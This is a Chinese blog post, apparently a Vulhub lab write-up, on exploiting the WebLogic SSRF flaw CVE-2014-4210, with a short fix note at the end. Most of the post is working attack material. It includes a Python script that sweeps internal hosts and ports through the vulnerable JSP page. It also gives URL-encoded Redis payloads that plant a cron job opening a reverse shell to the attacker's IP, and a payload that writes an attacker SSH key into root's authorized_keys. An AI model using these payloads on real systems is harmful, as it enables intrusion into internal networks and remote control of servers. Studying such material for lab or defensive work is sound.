weblogic CVE-2014-4210 SSRF漏洞

最新推荐文章于 2024-05-24 00:42:26 发布
最新推荐文章于 2024-05-24 00:42:26 发布
阅读量1.8k 收藏 1
点赞数
分类专栏： Vulnhub 渗透测试 文章标签： 网络 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_40345591/article/details/130812931
版权

CVE-2014-4210 SSRF漏洞

Weblogic 中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而可以攻击内网中Redis、Fastcgi等脆弱组件

该漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp

SSRF：服务端请求伪造，伪造存在该漏洞的服务器对外发送请求，攻击者可以利用该漏洞对内网不对外开放的服务器进行攻击，如Redis和Fastjson

检测漏洞

①直接用weblogicscan扫描

②测试一下

漏洞修复

Weblogic SSRF 漏洞出现在 uddi 组件（所以安装Weblogic时如果没有选择 uddi 组件那么就不会有该漏洞），
更准确地说是 uudi 包实现包 uddiexplorer.war 下的 SearchPublicRegistries.jsp。
所以修复的直接方法是将 SearchPublicRegistries.jsp 直接删除就好了

脚本
import requests
url ="http://xxx.xxx.xx.xxx:xxxx/uddiexplorer/SearchPublicRegistries.jsp" #漏洞地址
ip="172.17.0"#内网网段
ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]#常见端口
for i in range(1,255):
    for port in ports:
        params = dict(
        rdoSearch = "name",
        txtSearchname = "sdf",
        selfor = "Business+location",
        btnSubmit = "Search",
        operator = "http://"+ip+".{}:{}".format(i,port))#构造operator
        try:
            r = requests.post(url, params=params, timeout = 3)#发起POST请求
            if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
                print('[*] http://'+ip+'.{}:{}'.format(i, port))
            else:
                pass
        except:
            pass
利用链——定时任务反弹shell

  1. 首先尝试是否可以不登陆进入/uddiexplorer.war/SearchPublicRegistries.jsp,并且随意输入一组数据search一下

    image-20230411114601986

    看到如上图红框所示，向该网址请求数据了，大概率存在SSRF漏洞

  2. 抓个包看看这个wwwxxxx是从哪来的

    image-20230411114931387

    如图，看到在请求时post传了个oerator，其中url编码了但是隐约可以看出来是www-3xxxx

    所以我们给他解码，然后用hackbar进行尝试

    operator=http://www-3.ibm.com/services/uddi/inquiryapi&rdoSearch=name&txtSearchname=22&txtSearchkey=22&txtSearchfor=22&selfor=Business+location&btnSubmit=Search

  3. 将operator的值改为http://127.0.0.1:7001

    image-20230411133110899

  4. 将operator的值改为http://127.0.0.1:7000

    image-20230411133220998

  5. 用上述3/4的方法可以判断weblogic服务器开启的端口

    此外，还可以进行存活主机探测，但需要提前搞到weblogic服务器所在网段，可以使用其他漏洞或信息收集搞到

    如果搞不到网段直接探测效率极低

    我的靶场部署到vps上，网段为172.17.0.x/24，且开启了一台redis服务器

    将operator的值改为http://172.17.0.1

    image-20230411133653789

  6. 再随便搞个不存在的主机http://172.17.0.12

    image-20230411133800006

  7. 接下来就是搞脚本批量扫了

    脚本前面写啦，直接运行

    image-20230411134257398

    可以看到已经扫出6379啦

  8. 由于一些问题后面的redis网段变了一下，但是是一样的

    用网页访问一下

    image-20230411220824432

    这就说明成了，可以尝试利用了

  9. 既然探测到6379(redis)，就要想办法利用了

    redis可能存在未授权访问漏洞，同时redis默认是不对外开放的，意思就是说只有内网可以访问redis服务器，外网访问不到，这时候就体现出了SSRF请求伪造漏洞的作用

    就算redis服务器上一堆漏洞未修复，但是你访问不到，根本就不对外开放，你也没有任何办法，只能眼巴巴的瞅着

    这时候你发现了一个SSRF漏洞而且和redis是同内网的！

    我敲，这不聊次一下都说不过去

    简言之就是，SSRF可以以存在该漏洞的服务器的身份访问内网，相当于一个连通内网的跳板

    image-20230411140802018

  10. 接下来就是利用ssrf搞内网redis了

    ps:我的VPS出问题了，shell弹不出来不知道为啥，玄学问题，所以后面就直接用本地kali演示了，IP地址也发生了一些改变

    然后kali也出问题了，docker拉取的vulhub拉取的weblogic/ssrf 镜像，启动后只启动了weblogic，redis起不来，很怪异

    这玩意恶心了我两天，终于在今天解决了！

    ps:网上找不到类似的问题，很难受

    问题原因是因为高版本kali内核的问题好像

    先 vim/etc/default/grub

    image-20230413144236974

    如图修改值为"vsyscall=emulate"

    然后update-grub

    最后reboot

    重启后就可以开启redis的容器了，可喜可贺

    redis:172.19.0.2 端口6379

    weblogic:172.19.0.3 端口7001

    kali:192.168.27.137

    特意选了不同网段，模拟一下外网攻击内网机器

    破案了，应该是我VPS的NC有问题，接收不到shell，回来再修吧，继续实验

    payload:

    到这一步其实就和redis定时任务反弹shell一样了，因为某种原因redis未授权我还没上传想了解的可以搜搜大佬的

    先构造一手redis定时任务反弹shell的payload

    set x “\n\n\n\n*/1 * * * * sh -i>& /dev/tcp/192.168.27.137/8023 0>&1 \n\n\n\n”

    config set dir /var/spool/cron

    config set dbfilename root

    save

    下一手就是通过ssrf执行了，需要url编码一下

    operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi

    &rdoSearch=name&txtSearchname=11&txtSearchkey=11&txtSearchfor=11&selfor=Business+location&btnSubmit=Search

    还记的这个不，这个是weblogic SSRF存在的漏洞点，我们需要利用operator这个参数

    重新构造一下operator

    operator=http://172.19.0.2:6379/text



set x "\n\n\n\n*/1 * * * * sh -i>& /dev/tcp/192.168.27.137/8023 0>&1 \n\n\n\n"

config set dir /var/spool/cron

config set dbfilename root

save



aaaa

    这里的/text是随便加的，然后需要url编码一下

    operator=http%3A%2F%2F127.0.0.1%3A6379%2Ftext%0D%0A%0D%0A%0D%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn*%2F1%20*%20*%20*%20*%20sh%20-i%3E%26%20%2Fdev%2Ftcp%2F192.168.27.137%2F8023%200%3E%261%20%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0A%0Aconfig%20set%20dbfilename%20root%0D%0A%0D%0Asave%0D%0A%0D%0Aaaa

    注:换行符是%0D%0A

    最后先开启监听8023端口，然后在burp中修改operator的值为payload，发包，等待漫长的一分钟

    image-20230413152409964

    成功getshell！

    可喜可贺可喜可贺！！！！！

写入ssh公钥反弹shell

这个就很简单了，只需要更改payload为写入公钥就行了

其实这里就是redis未授权了，就是用ssrf连一下redist而已

  1. 生成公钥

    kali中输入

    ssh-keygen -t rsa

    默认目录，密码为空(全直接回车即可)

    image-20230413152852891

  2. 查看公钥

    cat /root/.ssh/id_rsa.pub

    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D/X+uapOcFw2/PuxfSet45fiWdnQQoI4WHVZBAhturHiM/f9JNZgTmCO42jtPC+olHG6RA5JBolBtki3+sWUv/6LrTECrnueU+FqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr+zPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW+vPestFTkzQ/BHvGWdSmVoYq/DxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg+qJ9AneHwIn5EXYLrXlXBL+JRB9P0r5HzUQAjx0O8RWBUTE/+GGhuAs9SMZE9OunDdzaigxXUlmdh+XRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK/VXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud+e7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH+lvvkHWFMuW70XpBhJVkR9ank= root@kali

  3. 构造payload

    operator=http://172.19.0.2:6379/text



set x "\n\n\n\n AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D/X+uapOcFw2/PuxfSet45fiWdnQQoI4WHVZBAhturHiM/f9JNZgTmCO42jtPC+olHG6RA5JBolBtki3+sWUv/6LrTECrnueU+FqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr+zPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW+vPestFTkzQ/BHvGWdSmVoYq/DxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg+qJ9AneHwIn5EXYLrXlXBL+JRB9P0r5HzUQAjx0O8RWBUTE/+GGhuAs9SMZE9OunDdzaigxXUlmdh+XRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK/VXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud+e7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH+lvvkHWFMuW70XpBhJVkR9ank= root@kali \n\n\n\n"

config set dir /root/.ssh

config set dbfilename authorized_keys

save



aaaa

  4. 转url发送

    http%3A%2F%2F172.19.0.2%3A6379%2Ftext%0A%0A%0A%0Aset%20x%20%22%5Cn%5Cn%5Cn%5Cn%20AAAAB3NzaC1yc2EAAAADAQABAAABgQC9D%2FX%2BuapOcFw2%2FPuxfSet45fiWdnQQoI4WHVZBAhturHiM%2Ff9JNZgTmCO42jtPC%2BolHG6RA5JBolBtki3%2BsWUv%2F6LrTECrnueU%2BFqdbJg4cySYgDKaZg5bXVssU6WzBdHEefsWiPBKRhM27Dzr%2BzPGHfbwg6cfWbPpEVa8xckZ9AEB0zudW%2BvPestFTkzQ%2FBHvGWdSmVoYq%2FDxB0x9GhFSTTqlfQ1wkyZZ0Z2IcndbRGUjMSxJK25FoEM1ftC16CiElg%2BqJ9AneHwIn5EXYLrXlXBL%2BJRB9P0r5HzUQAjx0O8RWBUTE%2F%2BGGhuAs9SMZE9OunDdzaigxXUlmdh%2BXRGPiahzbrCame4UXYc7twko0lJHMvfleLWzB31H0FVGMEQxKhZSdOwVK%2FVXQjHmuV0ZR0ore8wMO3wVawRgrxHnIjtrOZ0hkoM7nxQoaEcOud%2Be7xx0nfTyVpnWtAmoFESmJdTdyRKQEQTMFVSOH%2BlvvkHWFMuW70XpBhJVkR9ank%3D%20root%40kali%20%5Cn%5Cn%5Cn%5Cn%22%0D%0A%0D%0Aconfig%20set%20dir%20%2Froot%2F.ssh%0D%0A%0D%0Aconfig%20set%20dbfilename%20authorized_keys%0D%0A%0D%0Asave%0D%0A%0D%0A%0D%0A%0D%0Aaaaa

很可惜，vulhub中的redis镜像没有ssh，所以测不了，不过redis测过啦，跟反弹shell差不多应该没啥问题

这个实验搞的我身心俱疲，先是用的VPS搭建vulfocus，出现redis不回数据的问题，搞半天；然后直接VPS拉取vulhub的镜像出现连接不到反弹shell的问题（但是成功写入了，其实也算完成实验了），最后本地搞出来啦，结果没有ssh，猛男哭泣！

白帽Chen_D
关注
专栏目录
Weblogic SSRF漏洞(CVE-2014-4210)
谢公子的博客
05-03 6386
Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。 关于SSRF漏洞我们就不讲了，传送门——>SSRF(服务端请求伪造)漏洞 今天我们讲的是Weblogic存在的SSRF漏洞。 该漏洞存在于：http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp页...
WebLogic-Redis:CVE-2014-4210[SSRF]
最新发布
h1008685的博客
07-30 320
环境部署：开启靶场，查看端口，获取redis内网ip，访问漏洞发生页 漏洞利用：开启代理，bp抓包，替换参数测试端口，编写payload，url编码，编码内容替换，监听指定端口，发送数据包反弹连接
[Vulhub] Weblogic SSRF 漏洞（CVE-2014-4210）
weixin_45605352的博客
07-21 5939
0x00 预备知识 01 SSRF概念： SSRF（服务端请求伪造），指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。 简单的说就是利用一个可发起网络请求的服务当作跳板来攻击其他服务 02 SSRF原理 SSRF的实质是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。一般情况下， SSRF攻击的目标是外网无法访问的内部系统，黑客可以利用SSRF漏洞获取内部系统的一些信息（正是因为它是由服务端
CVE-2014-4210 weblogic SSRF漏洞
nex1less的博客
10-21 545
0x01 漏洞地址 http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp 0x02 漏洞验证 1.访问http://your-ip:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用。 2.
Weblogic SSRF漏洞复现（CVE-2014-4210）【vulhub靶场】
m0_55854679的博客
08-09 1600
Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。
Weblogic SSRF漏洞 [CVE-2014-4210]
流水不争先，争的是滔滔不绝
05-24 495
漏洞影响版本 【10.0.2 -- 10.3.6.0】
Weblogic SSRF漏洞（CVE-2014-4210）
weixin_39664643的博客
01-25 1167
利用范围 版本10.0.2,10.3.6 原理 Oracle WebLogic Web Server既可以被外部主机访问，同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp，我们可以利用它进行攻击，未经授权通过weblogic server连接任意主机的任意TCP 端口，可以能冗长的响应来推断在此端口上是否有服务在监听此端口。 利用 漏洞靶场 编译及启动测试环境 docker-compose build docker-compose up -d 访问http
Weblogic_SSRF漏洞_CVE-2014-4210（未完待续）
simonnews的博客
05-25 899
Weblogic_SSRF漏洞_CVE-2014-42101 漏洞概述1.1 基础知识1.2 漏洞概述1.3 影响版本2 漏洞原理分析3 漏洞复现4 漏洞修复5 其他 1 漏洞概述 1.1 基础知识 什么是SSRF漏洞：SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统） 1.2 漏洞概
WebLogic SSRF 及漏洞修复
11-25
通过对CVE-2014-4210漏洞的详细分析，我们了解到了SSRF攻击的具体机制以及如何对其进行有效的防范。对于类似的安全漏洞，最重要的是保持系统的更新，加强输入验证，并实施多层次的安全策略来降低潜在的风险。
漏洞复现—Weblogic CVE-2017-10271/CVE-2018-2628/CVE-2018-2894/CVE-2020-14882/ssrf/weak_password
weixin_45556536的博客
11-27 2069
这里写目录标题基础知识漏洞原理涉及版本漏洞特征漏洞复现—CVE-2017-10271 'wls-wsat' XMLDecoder 反序列化漏洞CVE-2018-2628 Weblogic T3协议反序列化漏洞CVE-2018-2894 Weblogic任意文件上传漏洞CVE-2020-14882 weblogic 未授权命令执行漏洞漏洞修复 基础知识 Weblogic是oracle推出的application server，由于其具有支持EJB、JSP、JMS、XML等多种语言、可扩展性、快速开发等多种特性
Weblogic-SSRF【CVE-2014-4210】
周星星的博客
10-13 1370
weblogic-SSRF [CVE-2014-4210]漏洞复现
漏洞复现CVE-2014-4210(Weblogic ssrf)
deginner2的博客
07-28 1189
Weblogic 漏洞复现
【SSRF 漏洞（CVE-2014-4210）】
cyyyyy123的博客
03-07 838
SSRF(Server-Side Request Forgery:服务请求伪造)是一种由攻击者构造请求，从而让服务端发起请求的一种安全漏洞。它将一个可以发起网络请求的服务当作跳板来攻击其他内部服务。SSRF的攻击目标一般是与外部隔离的内网资源。
weblogic ssrf漏洞[CVE-2014-4210]
qq_43936524的博客
06-18 1186
文章目录vulhub复现环境搭建 vulhub复现 # 启动 cd vulhub/weblogic/ssrf/ docker-compose up -d # 开启了一个weblogic和redis环境 kit@VM-0-12-ubuntu:~/vulhub/weblogic/ssrf$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS P
Weblogic SSRF 漏洞（CVE-2014-4210）分析
m0_61506558的博客
11-21 987
SSRF 漏洞犹如一位隐形杀手，常年隐匿于大型站点中不起眼的角落，有非常大的威胁。国内的互联网科技公司如腾讯、阿里巴巴、华为、百度等，均出现过 SSRF漏洞，且具有一定的危害。的防御策略是否存在漏洞，攻击者是否可以绕过其防御策略，或者能否配合特殊环境下的配置，形成漏洞利用链。因此对于安全审计人员来说，更应注意 SSRF 漏洞的挖掘，除了基本的搜索。的方式去挖掘、测试，能挖掘出漏洞且不影响正常业务的方式都是好方式。不存在或者端口不存在，则返回以下信息，如图。SSRF 漏洞案例，该漏洞存在于。
Weblogic SSRF(CVE-2014-4210)漏洞复现
m0_64583632的博客
02-06 560
Weblogic SSRF(CVE-2014-4210)漏洞复现
以下Weblogic漏洞为反序列化的有 （2分） A CVE-2017-10271 B CVE-2018-2628 C CVE-2014-4210 D CVE-2017-3506
06-08
CVE-2014-4210：WebLogic Server SSRF漏洞，攻击者可以通过构造恶意请求，访问内部网络资源。 D. CVE-2017-3506：WebLogic Server WLS Security组件反序列化漏洞，攻击者可以通过构造特定的HTTP请求，实现绕过身份...
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽Chen_D

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值